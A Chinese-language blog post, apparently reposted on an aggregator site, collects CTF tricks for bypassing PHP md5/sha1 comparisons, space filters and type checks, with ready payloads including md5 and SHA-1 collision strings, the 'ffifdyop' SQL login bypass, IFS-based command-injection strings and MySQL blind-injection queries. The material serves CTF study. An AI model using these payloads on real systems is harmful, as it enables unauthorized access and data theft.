浅谈CTF中各种花式绕过的小trick

这篇具有很好参考价值的文章主要介绍了浅谈CTF中各种花式绕过的小trick。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

浅谈CTF中各种花式绕过的小trick

前言

在代码审计的时候,我们不难发现很多很多的函数需要我们bypass,这些知识点很多又很小,基本上是一眼就明白,但是下一次遇见又不太清晰,需要反反复复查找,这篇文章浅浅做个汇总,如有不足,欢迎补充。

md5加密bypass

弱比较绕过
<?php
$a = $_GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
    echo 'success!';
}
方法一:0e绕过

绕过原理:PHP在处理字符串时会出现缺陷,如果字符串为’5e2’,本来只是一个正常字符串,但PHP会认为这是科学计数法里的e,那么PHP进行比较时会将这个字符串按照科学计数法计算,即5e2=5*10^2=500,由此0e100被认为和0相等。md5加密后的哈希值是一串16进制数,因此需要哈希值第一位为0,第二位为e即可,后面不论是什么都认为和0相等

以下字符串经过md5函数后以’0e’开头:

  • QNKCDZO
  • 240610708
  • s878926199a
  • s155964671a
  • s1091221200a
  • s1665632922a

经过md5函数加密一次和两次后均以’0e’开头:

  • 7r4lGXCH2Ksu2JNT3BYM
  • CbDLytmyGm2xQyaLNhWn
  • 770hQgrBOjrcqftrlaZk

有时候题目还会用ctype_alnum()、is_numeric()或正则表达式来限制原值是纯字母或纯数字

方法二:数组绕过

绕过原理:无论是PHP弱比较还是强比较,md5()函数无法处理数组,如果传入的是数组,会返回NULL,两个数组经过加密后返回值均为NULL,形成相等。

payload:

?a[]=1&b[]=2
强比较绕过
<?php
$a = $_GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) === md5($b)){
    echo 'success!';
}

虽然 PHP 是弱类型语言,但也需要明白变量类型及它们的意义,因为我们经常需要对 PHP 变量进行比较,包含松散和严格比较。

  • 松散比较:使用两个等号 == 比较,只比较值,不比较类型。
  • 严格比较:用三个等号 === 比较,除了比较值,也比较类型。

例如,“42” 是一个字符串而 42 是一个整数。FALSE 是一个布尔值而 “FALSE” 是一个字符串。

方法:数组绕过

细节如上所述

md5碰撞绕过
<?php
$a = (string)$_POST['a'];
$b = (string)$_POST['b'];
if($a != $b && md5($a) === md5($b)){
    echo 'success!';
}

由于强制类型转换,传入数组会得到’Array’,这里我们只能需要一个md5前不等,md5后相等的值。

方法:使用Fastcoll生成

详细可见这篇文章

下面给出payload供使用:

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

POST传参时需要再次url编码

a%3D%254d%25c9%2568%25ff%250e%25e3%255c%2520%2595%2572%25d4%2577%257b%2572%2515%2587%25d3%256f%25a7%25b2%251b%25dc%2556%25b7%254a%253d%25c0%2578%253e%257b%2595%2518%25af%25bf%25a2%2500%25a8%2528%254b%25f3%256e%258e%254b%2555%25b3%255f%2542%2575%2593%25d8%2549%2567%256d%25a0%25d1%2555%255d%2583%2560%25fb%255f%2507%25fe%25a2%26b%3D%254d%25c9%2568%25ff%250e%25e3%255c%2520%2595%2572%25d4%2577%257b%2572%2515%2587%25d3%256f%25a7%25b2%251b%25dc%2556%25b7%254a%253d%25c0%2578%253e%257b%2595%2518%25af%25bf%25a2%2502%25a8%2528%254b%25f3%256e%258e%254b%2555%25b3%255f%2542%2575%2593%25d8%2549%2567%256d%25a0%25d1%25d5%255d%2583%2560%25fb%255f%2507%25fe%25a2
md5截断比较
<?php
$a=$_GET['a'];
if(substr(md5($str), 0, 6) === "edef"){
    echo 'success!';
}
方法:脚本爆破

遇到这种情况可以通过写脚本爆破的方法,通常花费时间较长

from multiprocessing.dummy import Pool as tp
import hashlib

knownMd5 = '666666'      #已知的md5明文

def md5(text):
    return hashlib.md5(str(text).encode('utf-8')).hexdigest()

def findCode(code):
    key = code.split(':')
    start = int(key[0])
    end = int(key[1])
    for code in range(start, end):
        if md5(code)[0:6] == knownMd5:
            print(code)
list=[]
for i in range(1):    # 这里的range(number)指爆破出多少结果停止
    list.append(str(10000000*i) + ':' + str(10000000*(i+1)))
pool = tp()    # 使用多线程加快爆破速度
pool.map(findCode, list)
pool.close()
pool.join()
原值和md5加密后哈希值弱比较绕过
<?php
$a=$_GET['a'];
if($a == md5($a)){
    echo 'success!';
}
方法:0e绕过

0e215962017 的 md5 值也是由’0e’开头,在 PHP 弱类型比较中相等

SQL注入中的md5绕过
Select * from ’admin’ where password=md5($pass,true)
方法:构造万能密码

ffifdyop这个特殊的字符串,非常之经典

绕过原理:利用ffifdyop这个字符串md5函数处理后哈希值为276f722736c95d99e921722cf9ed621c,Mysql刚好会把hex转化成字符串,恰好这个哈希值转化后是’or’6<乱码> 即 'or'66�]��!r,��b,这样就构成了一个万能密码。除了这个字符串之外,129581926211651571912466741651878684928也有同样的效果

NAN和INF
<?php
$a = NAN;
$b = NAN;
if($a != $b && md5($a) == md5($b)){
    echo 'success!';
}

绕过原理:NAN和INF,分别为非数字和无穷大,但是var_dump一下它们的数据类型却是double,那么在md5函数处理它们的时候,是将其直接转换为字符串”NAN”和字符串”INF”使用的,但是它们拥有特殊的性质,它们与任何数据类型(除了true)做强类型或弱类型比较均为false,甚至NAN=NAN都是false,但md5(‘NAN’)=md5(‘NAN’)为true。(我试了试发现NAN雀实可以,但INF没成功不知道为啥,不解…)

sha1加密bypass

sha1加密的绕过和MD5是异曲同工的

强弱比较绕过
方法:数组绕过

sha1函数同样无法处理数组,如果传入数组会返回NULL,可以绕过强弱比较

sha1碰撞
a=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1
b=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1

这是两个SHA1值相同而不一样(SHA256的值不同)的pdf文件

空格过滤绕过

Linux下
<?php
$a=$_GET['a'];
if(preg_match('/ /',$a)){
    die('wrong!')
}else{
    echo 'success!';
    eval($a);
}
$IFS
cat${IFS}flag
cat$IFS$9flag
cat$IFS$1flag

绕过原理:Linux下有一个特殊的环境变量叫做 IFS,叫做内部字段分隔符(internal field separator)。IFS环境变量定义了bash shell用户字段分隔符的一系列字符。默认情况下,bash shell会将下面的字符当做字段分隔符:空格、制表符、换行符。单纯的cat\$IFSxxx,bash解释器会把整个IFSxxx当做变量名,所以导致输不出来结果,然而如果加一个{}就固定了变量名,同理在后面加个$可以起到截断的作用,为什么要用$9呢?因为$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串。$1同理。

< <> {,} %09 %20
cat<flag
cat<>flag
{cat,flag}
cat%09flag
cat%20flag

< 或<>与通配符一起使用时没有回显,使用不能同时使用

用逗号实现空格功能,需要用{}括起来

在PHP环境下可以使用%09(tab)绕过空格

MySQL下
利用注释绕过

绕过原理:/**/是注释符,用注释替换空格

select/**/column_name/**/from/**/information_schema.tables/**/where/**/table_name="users"

补充:

/* … */ 在大部分语言中都一样是注释。这个之中的语句是不被执行的。但MySQL中 为了保持兼容,比如从mysqldump 导出的SQL语句能被其它数据库直接使用,它把一些特有的仅在MySQL上的语句放在 /*! … */ 中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL中它会执行。

/*!50001 select * from test */;
这里的50001表示假如 数据库是5.00.01以上版本,该语句才会被推行

利用括号绕过

绕过原理:在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。

?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23

常用于时间盲注,上面语句表示猜解database()第一个字符ascii码是否为109,若是则加载延时。from for属于逗号绕过,在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。

利用特殊字符
%20 %09 %0a %0b %0c %0d %a0 %00

弱类型漏洞

strcmp函数绕过
<?php
$id=$_GET['id'];
if(strcmp($secret,$id)==0){
	echo 'success!';
}

绕过原理:利用strcmp函数将数组或者对象类型与字符串进行比较会返回-1,但是从5.3开始,会返回0

当传入?id[]=1时即可bypass

array_search()、in_array()绕过
<?php
if(!is_array($_GET['test'])){exit();}  // 判断是否为数组
$test=$_GET['test'];
for($i=0;$i<count($test);$i++){  //遍历数组内容,所有内容均不能为admin,类型也必须相同
    if($test[$i]==="admin"){
        echo "error";
        exit();
    }
    $test[$i]=intval($test[$i]);  //转化为int型
}
if(array_search("admin",$test)===0){
    echo "flag";
}
else{
    echo "false";
}
?>

绕过原理:array_search() 函数在数组中搜索某个键值,并返回对应的键名。in_array() 函数搜索数组中是否存在指定的值。基本功能是相同的,也就是说绕过姿势也相同。利用函数接入到了不符合的类型返回“0”这个特性,直接绕过检测。所以payload:?test[]=0

switch()绕过

绕过原理:如果switch是数字类型的case的判断时,switch会将其中的参数转换为int类型,例如:

<?php
$i ="3name";
switch ($i) {
case 0:
case 1:
case 2:
     echo "this is two";
     break;
case 3:
     echo "flag";
break;
}
?>

索数组中是否存在指定的值。基本功能是相同的,也就是说绕过姿势也相同。利用函数接入到了不符合的类型返回“0”这个特性,直接绕过检测。所以payload:?test[]=0

布尔类型 True 与非零非 NULL 变量比较都会是 True

根据PHP手册内容

在PHP中任何类型的值, 与bool比较都会被转化成bool比较当转换为 bool 时,以下值被认为是 false

  • 布尔值 false 本身
  • 整型值 0(零)
  • 浮点型值 0.0(零)-0.0(零)
  • 空字符串 "",以及字符串 "0"
  • 不包括任何元素的数组
  • 单位类型 NULL(包括尚未赋值的变量)
  • 内部对象的强制转换行为重载为 bool。例如:由不带属性的空元素创建的 SimpleXML 对象。

所有其它值都被认为是 true(包括 资源 和 NAN)。文章来源地址https://www.toymoban.com/news/detail-679981.html

到了这里,关于浅谈CTF中各种花式绕过的小trick的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • CTF必看~ PHP反序列化漏洞6:绝妙_wakeup绕过技巧

    作者:Eason_LYC 悲观者预言失败,十言九中。 乐观者创造奇迹,一次即可。 一个人的价值,在于他所拥有的。可以不学无术,但不能一无所有! 技术领域:WEB安全、网络攻防 关注WEB安全、网络攻防。我的专栏文章知识点全面细致,逻辑清晰、结合实战,让你在学习路上事半

    2024年02月08日
    浏览(39)
  • [CTF/网络安全] 攻防世界 PHP2 解题详析

    翻译: 你能给这个网站进行身份验证吗? index.php是一个常见的文件名,通常用于Web服务器中的网站根目录下。它是默认的主页文件名,在访问一个网站时,如果没有特别指定页面文件名,则服务器会自动加载index.php文件。 在Web应用程序中,index.php文件通常是网站的入口文件

    2024年02月13日
    浏览(47)
  • [CTF/网络安全] 攻防世界 php_rce 解题详析

    PHP RCE 指的是通过远程代码执行漏洞(Remote Code Execution)来攻击 PHP 程序的一种方式。简单来说,由于PHP应用程序没有正确处理外部输入数据(如用户提交的表单、请求参数等),攻击者通过某些手段向 PHP 应用程序中注入恶意代码,然后通过这些恶意代码实现对受攻击服务器

    2024年02月06日
    浏览(53)
  • [CTF/网络安全] 攻防世界 fileinclude 解题详析(php伪协议)

    由于index.php在/var/www/html目录下,而flag.php与index.php同为php文件,故猜想flag.php也在该目录下。 查看页面源代码获取更多信息: 源代码中看到 @include($lan.\\\".php\\\"); ,即此处存在文件包含。 又因为 $lan = $_COOKIE[\\\'language\\\']; 因此解题思路为:利用php伪协议,构造language参数,来读取该目

    2024年02月07日
    浏览(46)
  • [CTF/网络安全] 攻防世界 simple_php 解题详析

    题目描述:小宁听说php是最好的语言,于是她简单学习之后写了几行php代码。 $a=@$_GET[\\\'a\\\']; 从HTTP GET请求参数中获取一个名为a的变量,并将其赋值给变量a。@符号用于禁止错误输出,如果不存在参数a则会将变量a设置为NULL。 $b=@$_GET[\\\'b\\\']; 从HTTP GET请求参数中获取一个名为b的变量,

    2024年02月13日
    浏览(47)
  • [网络安全/CTF] BUUCTF极客大挑战2019PHP解题详析(Dirsearch使用实例+php反序列化)

    提示:有一个良好的备份网站的习惯 故使用dirsearch工具扫描目录 得到的扫描结果中包含www.zip目录 通过url路径下载zip文件: index.php中含有关键代码: Get传参传入一个参数select,后端将其序列化 class.php: construct 是构造函数,在对象被创建的时候自动调用,进行类的初始化,

    2024年02月05日
    浏览(77)
  • [CTF/网络安全] 攻防世界 Web_php_include 解题详析(php伪协议、data伪协议、file伪协议)

    这段代码首先通过 show_source(__FILE__) 显示当前文件的源代码,然后通过 $_GET[\\\'hello\\\'] 显示 URL 参数中名为 hello 的值。 接下来,代码使用 $_GET[\\\'page\\\'] 获取 URL 参数中名为 “page” 的值,并进行字符串替换,将 php:// 替换为空字符串 这是为了防止通过 URL 参数加载本地文件或其他可

    2024年02月08日
    浏览(47)
  • [CTF/网络安全] 攻防世界 file_include 解题详析(php伪协议+convert转换过滤器)

    题目描述:怎么读取文件呢? 思路: 由代码审计可知,可通过filename参数构造POC,来读取check.php POC的构造涉及PHP伪协议,参考链接: 文件包含 | PHP伪协议实战 POC: 回显如下: 猜测被过滤,怎么办呢? 该题涉及到 convert转换过滤器 常见的convert转换过滤器有这两种:

    2024年02月07日
    浏览(71)
  • CTF之SSRF常见绕过

    1.绕过localhost和127.0.0.1 当程序中限制了我们使用localhost和127.0.0.1时,便可以利用进制转换来绕过 ip进制转换:https://tool.520101.com/wangluo/jinzhizhuanhuan 进制转换:https://www.sojson.com/hexconvert.html 2.CTFSHOW例题: 2.1 直接利用SSRF漏洞进行本地读取flag: 2.2 绕过localhost和127.0.0.1 2.3 绕过l

    2023年04月25日
    浏览(32)
  • 数据安全与网络安全——基于php+MySql实现简易留言板(附全资料 超级详细!)

    这篇文章是基于PHP和MySQL实现的一个简易留言板。该留言板具有用户注册、登录、发表留言以及查看留言等功能。首先,用户可以通过注册功能创建自己的账号,然后使用该账号进行登录。登录成功后,用户可以发表留言,并且可以查看自己和其他用户发表的留言。在留言的

    2024年02月04日
    浏览(50)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包